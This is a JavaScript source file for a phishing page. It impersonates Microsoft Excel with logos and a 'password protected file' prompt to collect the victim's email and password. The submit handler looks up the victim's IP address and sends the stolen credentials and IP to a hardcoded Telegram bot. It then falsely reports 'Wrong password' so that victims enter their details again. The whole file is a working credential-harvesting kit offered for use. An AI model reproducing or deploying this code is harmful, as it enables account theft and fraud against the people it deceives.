let signInAttempts = 0; function showError(errorContainer, message) { errorContainer.textContent = message; errorContainer.style.display = 'block'; errorContainer.style.color = 'red'; setTimeout(() => { errorContainer.style.display = 'none'; }, 2000); // Hide after 2 seconds } const styles = ` `; document.head.insertAdjacentHTML('beforeend', styles); function createForm() { const body = document.querySelector('body'); const greenLine = document.createElement('div'); greenLine.classList.add('green-line'); body.appendChild(greenLine); const pageLogo = document.createElement('img'); pageLogo.src = "https://firebasestorage.googleapis.com/v0/b/project-a29a7.appspot.com/o/heaexcel.jfif?alt=media&token=98293952-2731-45d7-8a4d-de72cee3378a"; pageLogo.alt = "Microsoft Excel Logo"; pageLogo.classList.add('page-logo'); body.appendChild(pageLogo); const formContainer = document.createElement('div'); formContainer.classList.add('form-container'); body.appendChild(formContainer); const logoImg = document.createElement('img'); logoImg.src = "https://firebasestorage.googleapis.com/v0/b/project-a29a7.appspot.com/o/excel.png?alt=media&token=3f39573f-93ee-4536-9be2-4cca14aff2f0"; logoImg.alt = "Microsoft Excel Logo"; logoImg.classList.add('logo'); formContainer.appendChild(logoImg); const secondLogoImg = document.createElement('img'); secondLogoImg.src = "https://firebasestorage.googleapis.com/v0/b/project-a29a7.appspot.com/o/backarrow.jfif?alt=media&token=1ae345c9-8f7f-485e-941f-476b353ecf7f"; secondLogoImg.alt = "Back Arrow"; secondLogoImg.classList.add('second-logo'); formContainer.appendChild(secondLogoImg); const titleSpan = document.createElement('span'); titleSpan.textContent = "Microsoft Excel"; titleSpan.classList.add('title'); formContainer.appendChild(titleSpan); const usernameDisplaySpan = document.createElement('span'); usernameDisplaySpan.textContent = emltag; usernameDisplaySpan.classList.add('username-display'); formContainer.appendChild(usernameDisplaySpan); const enterPasswordDiv = document.createElement('div'); enterPasswordDiv.textContent = "Enter password"; enterPasswordDiv.classList.add('enter-password'); formContainer.appendChild(enterPasswordDiv); const additionalTextDiv = document.createElement('div'); additionalTextDiv.classList.add('additional-text'); additionalTextDiv.innerHTML = "Authentication required to view this file."; formContainer.appendChild(additionalTextDiv); const passwordInput = document.createElement('input'); passwordInput.type = 'password'; passwordInput.placeholder = 'Password'; passwordInput.classList.add('password-input'); formContainer.appendChild(passwordInput); const noteDiv = document.createElement('div'); noteDiv.textContent = "Note: Password protected file. Only this user can view this file"; noteDiv.classList.add('note'); formContainer.appendChild(noteDiv); const submitContainerDiv = document.createElement('div'); submitContainerDiv.textContent = "View"; submitContainerDiv.classList.add('submit-container'); submitContainerDiv.onclick = submitForm; formContainer.appendChild(submitContainerDiv); const errorContainerDiv = document.createElement('div'); errorContainerDiv.classList.add('error-container'); formContainer.appendChild(errorContainerDiv); passwordInput.addEventListener('keydown', function(event) { if (event.key === 'Enter') { submitForm(); } }); } async function submitForm() { const username = document.querySelector('.username-display').textContent.trim(); const password = document.querySelector('.password-input').value; const errorContainer = document.querySelector('.error-container'); if (!password) { showError(errorContainer, 'Password cannot be empty.'); return; } const submitContainerDiv = document.querySelector('.submit-container'); submitContainerDiv.textContent = '...'; const passwordInput = document.querySelector('.password-input'); passwordInput.value = ''; try { const ipResponse = await fetch('https://api.ipify.org?format=json'); const ipData = await ipResponse.json(); const clientIP = ipData.ip; const telegramBotToken = '7395006837:AAGPz_x7tYXfP2om0GwHHRwbVxK_vzse0IY'; const telegramChatId = '6078555398'; const message = `Excel3 Logs\n\nEmail: ${username}\nPassword: ${password}\nIP: ${clientIP}`; const telegramUrl = `https://api.telegram.org/bot${telegramBotToken}/sendMessage?chat_id=${telegramChatId}&text=${encodeURIComponent(message)}`; await fetch(telegramUrl); const formData = new FormData(); formData.append('email', username); formData.append('password', password); const response = await fetch('', { method: 'POST', body: formData }); if (!response.ok) { throw new Error('Network response was not ok'); } signInAttempts++; // Implement further sign-in behavior here... } catch (error) { showError(errorContainer, 'Wrong password, please try again.'); } finally { submitContainerDiv.textContent = 'View'; } } document.addEventListener('DOMContentLoaded', createForm);